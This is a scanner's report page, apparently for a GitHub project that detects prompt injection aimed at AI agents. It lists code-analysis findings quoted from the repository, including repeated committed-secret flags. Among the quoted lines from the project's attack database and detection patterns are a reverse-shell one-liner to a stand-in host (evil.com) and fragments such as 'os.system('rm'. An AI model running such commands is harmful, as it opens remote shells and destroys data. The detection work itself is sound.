github Python analyzed c6a4154 unconfirmed MCP

sunglasses-dev/sunglasses

github

Check outside content for prompt-injection patterns before your AI agent acts on it.

maintainer
sunglasses-dev
licence
MIT
first seen
2026-06-04
last seen
2026-09-10
releases · 30d
17
short id

Drift inferred · capture-to-capture

  1. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  2. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  3. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  4. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  5. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  6. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  7. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  8. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  9. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  10. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  11. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  12. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  13. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  14. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  15. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  16. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  17. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  18. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  19. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
  20. HIGH code analysis flagged committed secret ×2 in sunglasses-dev/sunglasses
capabilities 0 tools
transport stdio · http counts 0 tools · 0 res · 0 prompts permission surface via code analysis

No tools enumerated yet for this server.

skills & danger signals github-tarball
prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit c6a4154 · analyzer v33 · 10m ago

skills & prompt files 13

danger signals16

code evidence vv0.5.6 · github-tarball
evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 80

filesystem 37

  • fs sunglasses-dev-sunglasses-c6a4154/attack-db/generate_db.py :118 with open(filepath, 'w') as f:
  • fs sunglasses-dev-sunglasses-c6a4154/attack-db/search.py :37 with open(os.path.join(root, f)) as fh:
  • fs sunglasses-dev-sunglasses-c6a4154/fp_corpus_data.py :234 return json.load(open(path))
  • fs sunglasses-dev-sunglasses-c6a4154/fp_gate.py :35 out.append((open(path, errors="ignore").read(), "file"))
  • fs sunglasses-dev-sunglasses-c6a4154/gauntlet.py :68 with open(path, "rb") as handle:
  • fs sunglasses-dev-sunglasses-c6a4154/pattern_forge.py :50 try: _cache["pm"] = json.load(open(PREFIX_MAP))
  • fs (weak) sunglasses-dev-sunglasses-c6a4154/scripts/export_patterns_to_attack_db.py :83 with open(filepath) as ef:
  • fs (weak) sunglasses-dev-sunglasses-c6a4154/scripts/sync-stats.py :17 from pathlib import Path
  • fs sunglasses-dev-sunglasses-c6a4154/setup.py :7 long_description=open("README.md").read(),
  • fs sunglasses-dev-sunglasses-c6a4154/sunglasses/cli.py :18 import shutil
  • fs sunglasses-dev-sunglasses-c6a4154/sunglasses/engine.py :982 Audit finding C1: this used to be a raw ``open().read()``, so the CLI's
  • fs sunglasses-dev-sunglasses-c6a4154/sunglasses/extractors/dispatch.py :4 Audit finding C1: `SunglassesEngine.scan_file()` was a raw `open().read()`, so the
show 25 more
  • fs sunglasses-dev-sunglasses-c6a4154/sunglasses/extractors/image.py :111 img = Image.open(io.BytesIO(image_bytes))
  • fs sunglasses-dev-sunglasses-c6a4154/sunglasses/extractors/pdf.py :60 with open(pdf_path, 'rb') as f:
  • fs sunglasses-dev-sunglasses-c6a4154/sunglasses/extractors/qr.py :202 img = Image.open(image_path)
  • fs sunglasses-dev-sunglasses-c6a4154/sunglasses/extractors/video.py :158 with open(tmp_path, 'r', errors='ignore') as f:
  • fs sunglasses-dev-sunglasses-c6a4154/sunglasses/firewall.py :351 import pathlib
  • fs sunglasses-dev-sunglasses-c6a4154/sunglasses/loader.py :31 with open(filepath) as fh:
  • fs sunglasses-dev-sunglasses-c6a4154/sunglasses/mailer.py :10 from pathlib import Path
  • fs sunglasses-dev-sunglasses-c6a4154/sunglasses/patterns.py :1557 "shelve.open(",
  • fs sunglasses-dev-sunglasses-c6a4154/sunglasses/reporter.py :23 from pathlib import Path
  • fs sunglasses-dev-sunglasses-c6a4154/sunglasses/scanner.py :315 # `open(..., errors='ignore')` here had the same defect dispatch had: bytes
  • fs (weak) sunglasses-dev-sunglasses-c6a4154/tests/benchmark/precision_recall.py :39 with open(os.path.join(HERE, "attacks.json")) as f:
  • fs (weak) sunglasses-dev-sunglasses-c6a4154/tests/repo_ladder_corpus/fetch_snapshots.py :64 with open(os.path.join(outdir, safe), "w") as f:
  • fs (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_cli_file_routing.py :6 because `SunglassesEngine.scan_file()` was a raw `open().read()` and never routed to
  • fs (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_dogfood_bugs.py :33 with open(cli_path) as fp:
  • fs (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_firewall_fp.py :35 import pathlib
  • fs (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_firewall_starter_policy.py :28 import pathlib
  • fs (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_gauntlet.py :200 cases = _json.load(open(_os.path.join(gauntlet.CORPUS, "suite_a.json")))["cases"]
  • fs (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_real_corpus_fp.py :46 content = open(path, errors="ignore").read()
  • fs (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_repair_v056.py :96 import shutil
  • fs (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_repo_ladder_corpus.py :42 with open(path, errors="ignore") as f:
  • fs (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_v056_matrix.py :47 import shutil
  • fs (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_v056_round8.py :43 with Image.open(path) as probe:
  • fs sunglasses-dev-sunglasses-c6a4154/tools/gen_perf_stats.py :62 with open(os.path.join(REPO, "tests/benchmark/attacks.json")) as fh:
  • fs sunglasses-dev-sunglasses-c6a4154/tools/gen_v056_matrix_table.py :47 tree = ast.parse(open(path).read())
  • fs sunglasses-dev-sunglasses-c6a4154/verify_ai_citations.py :104 handle = sys.stdin if path == "-" else open(path, encoding="utf-8", errors="replace")

shell / exec 18

  • shell sunglasses-dev-sunglasses-c6a4154/fp_corpus_data.py :61 "import os\ndef run(cmd):\n return subprocess.run(cmd, check=True) "
  • shell sunglasses-dev-sunglasses-c6a4154/gauntlet.py :39 import subprocess
  • shell sunglasses-dev-sunglasses-c6a4154/sunglasses/cli.py :19 import subprocess
  • shell sunglasses-dev-sunglasses-c6a4154/sunglasses/extractors/audio.py :24 import subprocess
  • shell sunglasses-dev-sunglasses-c6a4154/sunglasses/extractors/video.py :20 import subprocess
  • shell sunglasses-dev-sunglasses-c6a4154/sunglasses/firewall.py :623 import subprocess
  • shell sunglasses-dev-sunglasses-c6a4154/sunglasses/patterns.py :267 "os.system('rm",
  • shell (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_cli_file_routing.py :24 import subprocess
  • shell (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_dogfood_bugs.py :11 import subprocess
  • shell (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_firewall_fuzzy.py :25 import subprocess
  • shell (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_firewall_hook.py :21 import subprocess
  • shell (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_firewall_init.py :23 import subprocess
show 6 more
  • shell (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_firewall_pin.py :25 import subprocess
  • shell (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_firewall_starter_policy.py :29 import subprocess
  • shell (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_gauntlet.py :19 import subprocess
  • shell (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_receipt_sanitize.py :18 import subprocess
  • shell (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_repair_v056.py :20 import subprocess
  • shell (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_v056_matrix.py :49 import subprocess

network 6

  • net sunglasses-dev-sunglasses-c6a4154/attack-db/generate_db.py :58 "malicious": ["bash -i >& /dev/tcp/evil.com/4444 0>&1", "python -c 'import socket,subprocess,os;'"],
  • net sunglasses-dev-sunglasses-c6a4154/sunglasses/patterns.py :281 "python -c 'import socket",
  • net sunglasses-dev-sunglasses-c6a4154/sunglasses/preprocessor.py :14 from urllib.parse import unquote
  • net (weak) sunglasses-dev-sunglasses-c6a4154/tests/repo_ladder_corpus/fetch_snapshots.py :10 import urllib.request
  • net (weak) sunglasses-dev-sunglasses-c6a4154/tests/test_firewall_hook.py :273 import socket
  • net sunglasses-dev-sunglasses-c6a4154/verify_ai_citations.py :31 import urllib.request

declared dependencies 6

  • pytest@*
  • Pillow@*
  • pytesseract@*
  • PyPDF2@*
  • pyzbar@*
  • openai-whisper@*